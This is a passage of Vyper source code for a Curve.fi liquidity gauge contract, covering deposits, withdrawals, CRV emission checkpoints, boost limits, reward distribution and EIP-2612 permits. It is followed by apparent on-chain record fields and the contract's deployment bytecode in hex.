constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(VERSION) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) CRV: constant(address) = 0xD533a949740bb3306d119CC777fa900bA034cd52 GAUGE_CONTROLLER: constant(address) = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB MINTER: constant(address) = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 VEBOOST_PROXY: constant(address) = 0x8E0c00ed546602fD9927DF742bbAbF726D5B0d16 VOTING_ESCROW: constant(address) = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2 # ERC20 balanceOf: public(HashMap[address, uint256]) totalSupply: public(uint256) allowance: public(HashMap[address, HashMap[address, uint256]]) name: public(String[64]) symbol: public(String[40]) # ERC2612 nonces: public(HashMap[address, uint256]) # Gauge factory: public(address) manager: public(address) lp_token: public(address) is_killed: public(bool) # [future_epoch_time uint40][inflation_rate uint216] inflation_params: uint256 # For tracking external rewards reward_count: public(uint256) reward_data: public(HashMap[address, Reward]) # claimant -> default reward receiver rewards_receiver: public(HashMap[address, address]) # reward token -> claiming address -> integral reward_integral_for: public(HashMap[address, HashMap[address, uint256]]) # user -> [uint128 claimable amount][uint128 claimed amount] claim_data: HashMap[address, HashMap[address, uint256]] working_balances: public(HashMap[address, uint256]) working_supply: public(uint256) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint integrate_inv_supply_of: public(HashMap[address, uint256]) integrate_checkpoint_of: public(HashMap[address, uint256]) # ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint # Units: rate * t = already number of coins per address to issue integrate_fraction: public(HashMap[address, uint256]) # The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint # All values are kept in units of being multiplied by 1e18 period: public(int128) # array of reward tokens reward_tokens: public(address[MAX_REWARDS]) period_timestamp: public(uint256[100000000000000000000000000000]) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint integrate_inv_supply: public(uint256[100000000000000000000000000000]) # bump epoch when rate() changes @external def __init__(_lp_token: address): """ @notice Contract constructor @param _lp_token Liquidity Pool contract address """ self.lp_token = _lp_token self.factory = msg.sender self.manager = tx.origin symbol: String[32] = ERC20Extended(_lp_token).symbol() name: String[64] = concat("Curve.fi ", symbol, " Gauge Deposit") self.name = name self.symbol = concat(symbol, "-gauge") self.period_timestamp[0] = block.timestamp self.inflation_params = ( (CRV20(CRV).future_epoch_time_write() << 216) + CRV20(CRV).rate() ) NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # Internal Functions @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _checkpoint(addr: address): """ @notice Checkpoint for a user @dev Updates the CRV emissions a user is entitled to receive @param addr User address """ _period: int128 = self.period _period_time: uint256 = self.period_timestamp[_period] _integrate_inv_supply: uint256 = self.integrate_inv_supply[_period] inflation_params: uint256 = self.inflation_params prev_future_epoch: uint256 = inflation_params >> 216 gauge_is_killed: bool = self.is_killed rate: uint256 = inflation_params % 2 ** 216 new_rate: uint256 = rate if gauge_is_killed: rate = 0 new_rate = 0 if prev_future_epoch >= _period_time: future_epoch_time_write: uint256 = CRV20(CRV).future_epoch_time_write() if not gauge_is_killed: new_rate = CRV20(CRV).rate() self.inflation_params = (future_epoch_time_write << 216) + new_rate # Update integral of 1/supply if block.timestamp > _period_time: _working_supply: uint256 = self.working_supply Controller(GAUGE_CONTROLLER).checkpoint_gauge(self) prev_week_time: uint256 = _period_time week_time: uint256 = min((_period_time + WEEK) / WEEK * WEEK, block.timestamp) for i in range(500): dt: uint256 = week_time - prev_week_time w: uint256 = Controller(GAUGE_CONTROLLER).gauge_relative_weight(self, prev_week_time) if _working_supply > 0: if prev_future_epoch >= prev_week_time and prev_future_epoch < week_time: # If we went across one or multiple epochs, apply the rate # of the first epoch until it ends, and then the rate of # the last epoch. # If more than one epoch is crossed - the gauge gets less, # but that'd meen it wasn't called for more than 1 year _integrate_inv_supply += rate * w * (prev_future_epoch - prev_week_time) / _working_supply rate = new_rate _integrate_inv_supply += rate * w * (week_time - prev_future_epoch) / _working_supply else: _integrate_inv_supply += rate * w * dt / _working_supply # On precisions of the calculation # rate ~= 10e18 # last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) # _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) # The largest loss is at dt = 1 # Loss is 1e-9 - acceptable if week_time == block.timestamp: break prev_week_time = week_time week_time = min(week_time + WEEK, block.timestamp) _period += 1 self.period = _period self.period_timestamp[_period] = block.timestamp self.integrate_inv_supply[_period] = _integrate_inv_supply # Update user-specific integrals _working_balance: uint256 = self.working_balances[addr] self.integrate_fraction[addr] += _working_balance * (_integrate_inv_supply - self.integrate_inv_supply_of[addr]) / 10 ** 18 self.integrate_inv_supply_of[addr] = _integrate_inv_supply self.integrate_checkpoint_of[addr] = block.timestamp @internal def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address): """ @notice Claim pending rewards and checkpoint rewards for a user """ user_balance: uint256 = 0 receiver: address = _receiver if _user != empty(address): user_balance = self.balanceOf[_user] if _claim and _receiver == empty(address): # if receiver is not explicitly declared, check if a default receiver is set receiver = self.rewards_receiver[_user] if receiver == empty(address): # if no default receiver is set, direct claims to the user receiver = _user reward_count: uint256 = self.reward_count for i in range(MAX_REWARDS): if i == reward_count: break token: address = self.reward_tokens[i] integral: uint256 = self.reward_data[token].integral last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish) duration: uint256 = last_update - self.reward_data[token].last_update if duration != 0 and _total_supply != 0: self.reward_data[token].last_update = last_update integral += duration * self.reward_data[token].rate * 10**18 / _total_supply self.reward_data[token].integral = integral if _user != empty(address): integral_for: uint256 = self.reward_integral_for[token][_user] new_claimable: uint256 = 0 if integral_for < integral: self.reward_integral_for[token][_user] = integral new_claimable = user_balance * (integral - integral_for) / 10**18 claim_data: uint256 = self.claim_data[_user][token] total_claimable: uint256 = (claim_data >> 128) + new_claimable if total_claimable > 0: total_claimed: uint256 = claim_data % 2**128 if _claim: assert ERC20(token).transfer(receiver, total_claimable, default_return_value=True) self.claim_data[_user][token] = total_claimed + total_claimable elif new_claimable > 0: self.claim_data[_user][token] = total_claimed + (total_claimable << 128) @internal def _update_liquidity_limit(addr: address, l: uint256, L: uint256): """ @notice Calculate limits which depend on the amount of CRV token per-user. Effectively it calculates working balances to apply amplification of CRV production by CRV @param addr User address @param l User's amount of liquidity (LP tokens) @param L Total amount of liquidity (LP tokens) """ # To be called after totalSupply is updated voting_balance: uint256 = VotingEscrowBoost(VEBOOST_PROXY).adjusted_balance_of(addr) voting_total: uint256 = ERC20(VOTING_ESCROW).totalSupply() lim: uint256 = l * TOKENLESS_PRODUCTION / 100 if voting_total > 0: lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100 lim = min(l, lim) old_bal: uint256 = self.working_balances[addr] self.working_balances[addr] = lim _working_supply: uint256 = self.working_supply + lim - old_bal self.working_supply = _working_supply log UpdateLiquidityLimit(addr, l, L, lim, _working_supply) @internal def _transfer(_from: address, _to: address, _value: uint256): """ @notice Transfer tokens as well as checkpoint users """ self._checkpoint(_from) self._checkpoint(_to) if _value != 0: total_supply: uint256 = self.totalSupply is_rewards: bool = self.reward_count != 0 if is_rewards: self._checkpoint_rewards(_from, total_supply, False, empty(address)) new_balance: uint256 = self.balanceOf[_from] - _value self.balanceOf[_from] = new_balance self._update_liquidity_limit(_from, new_balance, total_supply) if is_rewards: self._checkpoint_rewards(_to, total_supply, False, empty(address)) new_balance = self.balanceOf[_to] + _value self.balanceOf[_to] = new_balance self._update_liquidity_limit(_to, new_balance, total_supply) log Transfer(_from, _to, _value) # External User Facing Functions @external @nonreentrant('lock') def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False): """ @notice Deposit `_value` LP tokens @dev Depositting also claims pending reward tokens @param _value Number of tokens to deposit @param _addr Address to deposit for """ assert _addr != empty(address) # dev: cannot deposit for zero address self._checkpoint(_addr) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address)) total_supply += _value new_balance: uint256 = self.balanceOf[_addr] + _value self.balanceOf[_addr] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(_addr, new_balance, total_supply) ERC20(self.lp_token).transferFrom(msg.sender, self, _value) log Deposit(_addr, _value) log Transfer(empty(address), _addr, _value) @external @nonreentrant('lock') def withdraw(_value: uint256, _claim_rewards: bool = False): """ @notice Withdraw `_value` LP tokens @dev Withdrawing also claims pending reward tokens @param _value Number of tokens to withdraw """ self._checkpoint(msg.sender) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(msg.sender, total_supply, _claim_rewards, empty(address)) total_supply -= _value new_balance: uint256 = self.balanceOf[msg.sender] - _value self.balanceOf[msg.sender] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(msg.sender, new_balance, total_supply) ERC20(self.lp_token).transfer(msg.sender, _value) log Withdraw(msg.sender, _value) log Transfer(msg.sender, empty(address), _value) @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)): """ @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to empty(address), uses the default reward receiver for the caller """ if _receiver != empty(address): assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) @external @nonreentrant('lock') def transferFrom(_from: address, _to :address, _value: uint256) -> bool: """ @notice Transfer tokens from one address to another. @dev Transferring claims pending reward tokens for the sender and receiver @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): self.allowance[_from][msg.sender] = _allowance - _value self._transfer(_from, _to, _value) return True @external @nonreentrant('lock') def transfer(_to: address, _value: uint256) -> bool: """ @notice Transfer token for a specified address @dev Transferring claims pending reward tokens for the sender and receiver @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering. This may be mitigated with the use of {incraseAllowance} and {decreaseAllowance}. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) # dev: invalid owner assert block.timestamp <= _deadline # dev: permit expired nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256( _abi_encode( EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline ) ), ) ) assert ecrecover(digest, _v, _r, _s) == _owner # dev: invalid signature self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @external def increaseAllowance(_spender: address, _added_value: uint256) -> bool: """ @notice Increase the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _added_value The amount of to increase the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool: """ @notice Decrease the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _subtracted_value The amount of to decrease the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def user_checkpoint(addr: address) -> bool: """ @notice Record a checkpoint for `addr` @param addr User address @return bool success """ assert msg.sender in [addr, MINTER] # dev: unauthorized self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) return True @external def set_rewards_receiver(_receiver: address): """ @notice Set the default reward receiver for the caller. @dev When set to empty(address), rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` """ self.rewards_receiver[msg.sender] = _receiver @external def kick(addr: address): """ @notice Kick `addr` for abusing their boost @dev Only if either they had another voting event, or their voting escrow lock expired @param addr Address to kick """ t_last: uint256 = self.integrate_checkpoint_of[addr] t_ve: uint256 = VotingEscrow(VOTING_ESCROW).user_point_history__ts( addr, VotingEscrow(VOTING_ESCROW).user_point_epoch(addr) ) _balance: uint256 = self.balanceOf[addr] assert ERC20(VOTING_ESCROW).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) # Administrative Functions @external def set_gauge_manager(_gauge_manager: address): """ @notice Change the gauge manager for a gauge @dev The manager of this contract, or the ownership admin can outright modify gauge managership. A gauge manager can also transfer managership to a new manager via this method, but only for the gauge which they are the manager of. @param _gauge_manager The account to set as the new manager of the gauge. """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin self.manager = _gauge_manager log SetGaugeManager(_gauge_manager) @external @nonreentrant("lock") def deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK): """ @notice Deposit a reward token for distribution @param _reward_token The reward token being deposited @param _amount The amount of `_reward_token` being deposited @param _epoch The duration the rewards are distributed across. """ assert msg.sender == self.reward_data[_reward_token].distributor self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address)) # transferFrom reward token and use transferred amount henceforth: amount_received: uint256 = ERC20(_reward_token).balanceOf(self) assert ERC20(_reward_token).transferFrom( msg.sender, self, _amount, default_return_value=True ) amount_received = ERC20(_reward_token).balanceOf(self) - amount_received period_finish: uint256 = self.reward_data[_reward_token].period_finish assert amount_received > _epoch # dev: rate will tend to zero! if block.timestamp >= period_finish: self.reward_data[_reward_token].rate = amount_received / _epoch else: remaining: uint256 = period_finish - block.timestamp leftover: uint256 = remaining * self.reward_data[_reward_token].rate self.reward_data[_reward_token].rate = (amount_received + leftover) / _epoch self.reward_data[_reward_token].last_update = block.timestamp self.reward_data[_reward_token].period_finish = block.timestamp + _epoch @external def add_reward(_reward_token: address, _distributor: address): """ @notice Add additional rewards to be distributed to stakers @param _reward_token The token to add as an additional reward @param _distributor Address permitted to fund this contract with the reward token """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin assert _distributor != empty(address) # dev: distributor cannot be zero address reward_count: uint256 = self.reward_count assert reward_count < MAX_REWARDS assert self.reward_data[_reward_token].distributor == empty(address) self.reward_data[_reward_token].distributor = _distributor self.reward_tokens[reward_count] = _reward_token self.reward_count = reward_count + 1 @external def set_reward_distributor(_reward_token: address, _distributor: address): """ @notice Reassign the reward distributor for a reward token @param _reward_token The reward token to reassign distribution rights to @param _distributor The address of the new distributor """ current_distributor: address = self.reward_data[_reward_token].distributor assert msg.sender in [current_distributor, Factory(self.factory).admin(), self.manager] assert current_distributor != empty(address) assert _distributor != empty(address) self.reward_data[_reward_token].distributor = _distributor @external def set_killed(_is_killed: bool): """ @notice Set the killed status for this contract @dev When killed, the gauge always yields a rate of 0 and so cannot mint CRV @param _is_killed Killed status to set """ assert msg.sender == Factory(self.factory).admin() # dev: only owner self.is_killed = _is_killed # View Methods @view @external def claimed_reward(_addr: address, _token: address) -> uint256: """ @notice Get the number of already-claimed reward tokens for a user @param _addr Account to get reward amount for @param _token Token to get reward amount for @return uint256 Total amount of `_token` already claimed by `_addr` """ return self.claim_data[_addr][_token] % 2**128 @view @external def claimable_reward(_user: address, _reward_token: address) -> uint256: """ @notice Get the number of claimable reward tokens for a user @param _user Account to get reward amount for @param _reward_token Token to get reward amount for @return uint256 Claimable reward token amount """ integral: uint256 = self.reward_data[_reward_token].integral total_supply: uint256 = self.totalSupply if total_supply != 0: last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish) duration: uint256 = last_update - self.reward_data[_reward_token].last_update integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply) integral_for: uint256 = self.reward_integral_for[_reward_token][_user] new_claimable: uint256 = self.balanceOf[_user] * (integral - integral_for) / 10**18 return (self.claim_data[_user][_reward_token] >> 128) + new_claimable @external def claimable_tokens(addr: address) -> uint256: """ @notice Get the number of claimable tokens per user @dev This function should be manually changed to "view" in the ABI @return uint256 number of claimable tokens per user """ self._checkpoint(addr) return self.integrate_fraction[addr] - Minter(MINTER).minted(addr, self) @view @external def integrate_checkpoint() -> uint256: """ @notice Get the timestamp of the last checkpoint """ return self.period_timestamp[self.period] @view @external def future_epoch_time() -> uint256: """ @notice Get the locally stored CRV future epoch start time """ return self.inflation_params >> 216 @view @external def inflation_rate() -> uint256: """ @notice Get the locally stored CRV inflation rate """ return self.inflation_params % 2 ** 216 @view @external def decimals() -> uint256: """ @notice Get the number of decimals for this token @dev Implemented as a view method to reduce gas costs @return uint256 decimal places """ return 18 @view @external def version() -> String[8]: """ @notice Get the version of this gauge contract """ return VERSION @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. """ return self._domain_separator()
1
19,493,248
a9a555ceaccfc90d570c08ad4ae9887735294a40aad8c4eed9fcdcf11aa530e6
80be5f78933b2098a1162fb88f63d887176e58dacae6036ca38b499b305713c9
1ed4a7446556ed14593e15cdba22b1bba158cf8c
fcf68515aa6540dcd77f136dcb4f4ccd9967769a
434812455b06fb46904b77975671007cb95c1e0a
630000315980600e6000396000f300957cd7ce844ab6deab8ce6ca16de87d43430e3b144ced0e47047ce39f3f466cf19cb47c7f685fb57494d2aaa56adf5855faafeefeb51fee5eabb61fdc75fab6d9bfe0682e779fedb89fedbb89420024110f8def1d7bfacdbdde5fff86b12a76db98cfb90fd51f77199ff6d5fbaff92c55bfcb77f1e82d350fe3d89d7fcfbf96f16d40906db552ac5ad54e152144bfff4fbf2f55a17a59342284d89205ce80eafbc628a05299a4b84937a3f7c41b9c4e63364accf0a3197b0c2531f90b7244da4f82fe56283cfd88a2c024bf59c9b5d2a2455136bc804baec70bb7b959ce0d3696c7116679f94c49d94fb10b53d9854c99494ca117920c167175deb4ca7a636444a4d990c734a347d511c5f73b2d270fc8f4b75bbfc8882e9ca92339eb53729b1b3b13e5572ec6d6a2af5fff96144908130dee375d6f4685eab3f2775727f5ea900d3e4957fdef3cf0050ff8c99490920c4702957aec2084a93a8ca093b17905042f20cc70b59afd97a6cf9029a3d5d69ea74fcbeaa193b3c82a320f329383cd8f6e37388f80f070fb09404a6fcd87c35e6521dce6a23214683319637e47617c5412ff7718fddd93001e518cbadf035fae96b26535caf8b972fcb22dc2b6e9c9b9a7fe2c9c60e15010e82a5cff5c75d81825feba0dcc4a33f2b20df3aebc07ae01f9b1a203d5923d951c43a5e7e00a7c346bcc68065c10d74c741f6228e1f44a606021b03b2fd9677a804459d636aab4c79869a94df5e78ab6c758e8e2b32e168aa426d85a32d595393ab0265496d2684c93c81a26449a721c5557a7b5267cb669706b006a94aff44632a1011b45954f71440624ac6f791bb12fbf6ce1b2980d7664876f39fb51b26cd6ad79c19bdcf1700ceb7d03ce7b36f8b5ac234eedcd5233c870a45ec5018fa6872154c931e27b6294f90c07558eeee27bbc1f40099c5daa1b8ede1fa686292d93e09a5d2bcd92456b89fc89df07ea98bc5f260ea8a537ded3f3a755a9aad6a61f5a33eec132c921aac823e24cb136bf0976c2bf3a854e1bbba4b6886823a7930ae0b41da1cf55c55624402bbb7c6da52b2df8ccc29e59073db9af074848e1e5160b16a980c148df29c57965ec0180bc4bd2698f95a714202071c56fc67e0b14c3ad07323c480e10b6db5d3dcc95d3983f5ef890742309439667b65d8b99e2d939f0f060fc360c6bfb1003f811a9a4563563f81740d1eec4b14e93f21c2144515e2b7fc95146e31d8c729a5a3a7caba64c0fe02f8b594ba6ee4d2fda16b556962a4440c83d5fc0fec33695d4451a79c646f21969529923dc90a36574da5b7131d754d08cf702086322fb75d5d88d52e33b2a2ba83dcdb0994f591b7b8d764c49abfc8b2cd7b7951f555847ce16c665c07e8232cd800b0ecc69145aa4dae9a6df67cc895a3a9ebbce103096d4ba90d24c57168b15b1e9853d4ec46ac8ba3187d6f4e29adaa1ebb4f5b5b7e27cdf1a2f0719deefb2452f545c4fbbe6e321e43ae6bcff1d44f9ab243ca7e1414839709cb72ebdef69829ccfddd2bd2db59f233f995ebc44c8a09a63f7e5dbf80c0f7ab028d82abad3cffd86d45edb02b6fbb88ac455dce814d97fd00d01bb181f550c652c59b8a6dc45dfc8df12a10ea41e12ba751076b2e975986c94f0099f27df5598646053ee7151bf5b7aa77ec8ad3354d8c66ad2e71bd0055552596e352c2fb897d773e7721ecc34f2004154e2f7cd59febb99f26297efccffefd8e9554cf88c95161bf7139514d9a416cb2a4daded61c0886c6a1555d21128e52d756f916e8a9e295c64c3cdf1bf754cfb23486500a0d32a72fd99ca62b73db42b5fd21d0fa48aba7d65b12e597e2629781df3013b28f5a0c6da7135bbab57163a0cf2105eae737541ae3ef956b217a817fa8c91f9661293c24cd016d4e8b1bc7f7af9c1005897c6d462cc4652e7fc5be9370007c51ecf9386ad23cdbe66cf4e6f58dea5b5f347850e7282098cf7fbb1907ec07403e69f26b86e6b6934bcffb25fa9904f6d11df045341ffb00fa5e84a24bf624f9e5d0f04b549fe657c862c5ffde8bc0e6bee3b477f2d91f2e27864c1e0a0c6382e3775adff626fc10c5903d05296f3af391c645f0e9492bf6649ea147414f3efd37e0599dd624c97e64b479c682de97d64c6b8240cd2dc39e053df22f95826219b554684e69878be17ea7b7e1f225c0fbca565699f63940577ecad46b19d1d8ad9cbc26fb07a7b46b6fac64cb3820e400190c564d16ce4889d6b46aa9b9332c03980a4576d095c7592b558712ab69a0d6b0b1aa2024619fcbd0322762b05f99eccd93713d86e4b9166679ff59bddc32046c0d24702e35094b75434d955fc3dbf1e76804eb11813bf5dcf8f3e2bb59753aef3927da719610454204d9522b8503032ec22f19666eb4cf4d4835106ee833cad6367a3e53cf54c67d6bbc2478bda3b4962744567df1ad6cf1d937593b6f924921b55b75853eb76eb621bfa400f498612f6b448f5e6d415e1165475fd7edbc12087aedee38e4b06d5c58234a0bb93844bea66f26fb476876de8d9c3a9bce457c7224a2386f104461d2e2929f42a314b9ad1277952da5e7a7f604273f8a93c75cb4e6742320556fbec33c8d7d8aa8c0e83b5e0537557e9aba354414431b40ea3659f86e460782d52a4bf827e3790f94beb600f9c32b5810e885c5d8765bd53723db4c9b8ec394a9304df46be5408b287a27754b7a59533fc75074f499704cb8d0efd1e8984b19c11a19ba5c6d471366c37a6666a6ec683f3b9f1d11f565f688c7ba13e6ef621590ea2ccd96316e8df6b53723750b870eeaf8aac772976643d73d2654a59d71c74e930ceba91d2b5d30e59d977e07ff88b3c557ab5ffcecaa2b9b7a222a57648d879b6ecdd3c46b2b739b5ddf915c7a72d69baa1fc9bc6bdbd6362ae976033762c993d931943b578354b2ee20b5dff0bb137b0c3e426c175f4fa134bef6ae72bfbfddee1335bc04db56f1ede045253f64f8121ffd87db67af641e4cbb339c0eb31fa9c4f17ea14ac2906a46f17e8e3ed23895bc804ad9a12fa8ef901edcc1f1c893a2d7b48e6a7ac71baf16dd07ddaafa8ccfeb640c7e12aa43049612926c5b732551d4110e87e3a3e7176410c9dd16dad36666264979d8ac7c86599aaf2507177dcf6490602f2f94f858f178bb6bfdf4b7f02197c20ffc70df905b0ba3a71334f88c6989dd43dd800d02e2b8ec74545a51cef887ebe1f4e09fdd126b38c27acf37151c6c54f7f0cfc56508cca523417ba96414e4ceba8ab7effe4432be94f64533d205a65bda90246a806fdcfb537bcc51b288425f77364d55cc72236c4e8400bb28172362335031dfbd34772d38963b2e5908a66c77c19956aa8732f0266e0d1f7075efd31a8b00e26f619353e7e7a1ba313a9a827274603777cc3385474a90b818a6152a8a71035390fb976e3e7161b8ae064fdebb1ae7244cdb7c0b8fb1a83b31f6261c596614011c6255343691cf93d782200df42c7c82366ff1845b86f54944b433eedcf7aa7040bf418a01d954639def6e3332645509a15b98e10e6ae040568775273ddd82ceccf4c3e119d9b66f2bcb5371a9c716fb48879c5ea7e3b03c2899a4159f877500f995c15be9f93463a8a377d45794214919130662e1d696c8ca923f5adb83811017f052123ffc22094f57e5eaa9f708235fd5fc4c9fb62b1a62389e9f6e0080d8cf72211fed9c2a286cd7e90f1b8fc04abe3ed47f9de87bed430d7e24d5e1d1e283c770cce404f1399bc0e61ef6c90dd2bf978adf53e74e0aa08f192cf7e22d3966235df175fdc2a9885b72a2e72c166fc88eaea2ba65ae0d0400d96144e1b1f8d3317e5ecc50fcd2b33a3e76c1b00e3a780bf2297e5191e1d871c5594e672972a04fb36ee5784f1301e4c9489cc0378651c6b8a3eb0331644b37c658c8e35e1030491443bcc2f2e582e33b6028747e367d2089ef48245ae5bb6cafee0f30763219c640e1d8d4fc0a24dc2305a53f4d7064308b858a00010b8335206854bf029c4906f577f27cb0494957204552a179f5f6217c83e462da160424572f916d0d0a5f7928fd1be45f33281658d4b0014da9be2c4a7c2ce5c12b9add950bb2a550b0869f1de8d058a4477a9246416851f00d35c14162bd9043cb306cc933e2f7750d96b87e688908a93317711346f5b2734277a6387f166f2a859c474788f042118efaa8062451b5fd5a384d24685bd2d48fb34eb9442d027b46bd407ea777392fa8450ce62776f7225b70aba69ca3621fd99d102e07446c923e8e9c5219a788184a3c656b48e143b09b1e8b6d9f8ebc2948ae75a15d3e7eac56a1c33b9534ec96bc7c66bd0d11e76475bcc8671b951be53996ec53177d6ea72983f844da578466434abf88e4990887f466950aee47e0e1300b674a066b89c3bf6c6dd422896452f522139dec527c5a149d7d3e1213b3b60388b0114b6de97ea6c0bdb7cf9766c104e63e835f515e592b4ccec8259d819354cbd2aac1406030206232f3544b26592b0d559219a7c179578b0a57cbdba7d6c0c98477b4dcdca7e645b2e2fcb4168bb9e66fa9a6b597b110aa8ca9b3d221a65622bbd62928d7c151fb6682c18902b56406f78a50eda66b0da5b55a4fab0ab4405bbff7f23cc858d5505e721a43f32385bfd09af67b0de24173cf045e7eae5a8f1f45b7a2fab76a25fc6bf5b465cbc7775e3f383376ebd7e6fec9d59eaa8d3228a14d95e888d68e6f6092575cd223a558bfdab046e79d3bd07e24acb7e4b99d325b67abb6febd7f1679d5f682944cb76ba7106b34e3322af3656c7f6e19a937541ae92dcdeafd8f5e9b7adf7bcac43820563fed03c90defcb25467cdac20a5bb3935a2aa674a8e77216713a066fdb0c443a691ddb36968c2976347b355b2e873aef9c5a699834d9975ac51ddb8f1cb64f86757d85b588fd740dc21a2e83b5282975e7e76987ac315dfba332bbd3716b54e992d80e846cc32d5bdf1345f197dcff70aead85a7a70caca712b33794c1b8f2a8e52bb69bf4a88f12b9453ac778a1afe9de0c1a94c878a4486bdda94b49acf130b16fbecfab2265399c3e4e8c8d4d8c627dbd6105d347bd6ac99d3d52cd524f3d6a4ced0f6bd5499ebaf56d51160dec1a35f211056ec01420c2b50bfda744753a92c3fa819d74c6c286821d3bf2756b711c75493e51757c5263896967e80c0719298e3adea13a03d1b1d5d18f79e9ef16c247b2c3f31df17d6f168b31218ec7a64a004e5d29914b19f5afca9d24404c2e73157a59d937c74370fa60f779c794ba52b210624737c76cef87dc4660411029e2cc44cfbec7e295bb958e49c378f3bbf216ca947a5c1bb7e6c8b43f620f4912faca411e5543894deea714bfe439cf2ed54db9424b95d419d0f7d700af129ec7bbf6159be1d12fd361649887af069c7aef8e39608eba43711831c5883e523cf1db92d13d918932bd7276822373a2acdb2a5529d6db6f19227d594d7b29268cbbbeacacbd621b6f85387d0d6b7e129394a7df4caa675e73a73046e64c8fa767dee45e7c012a89bed52b84e5f89e5f541f1d304c5e03c3d44dc7cffd8a31d38b408db233133d1aab72521fce9edb9e7b0564e45d9993badb38b7f636cfb1d10febbb1c3dde9a84913370388f753d7b16508f9298dbe0612f273daf37c608333bc9ad6e4c426cacdc345e4fd4279331a153378f333b3e30310f4831cfbfd4d8cae84d0b90a20db3dec1705e40bdefb06e5c58aeedbef8bc77f1a85974bd59c8145cc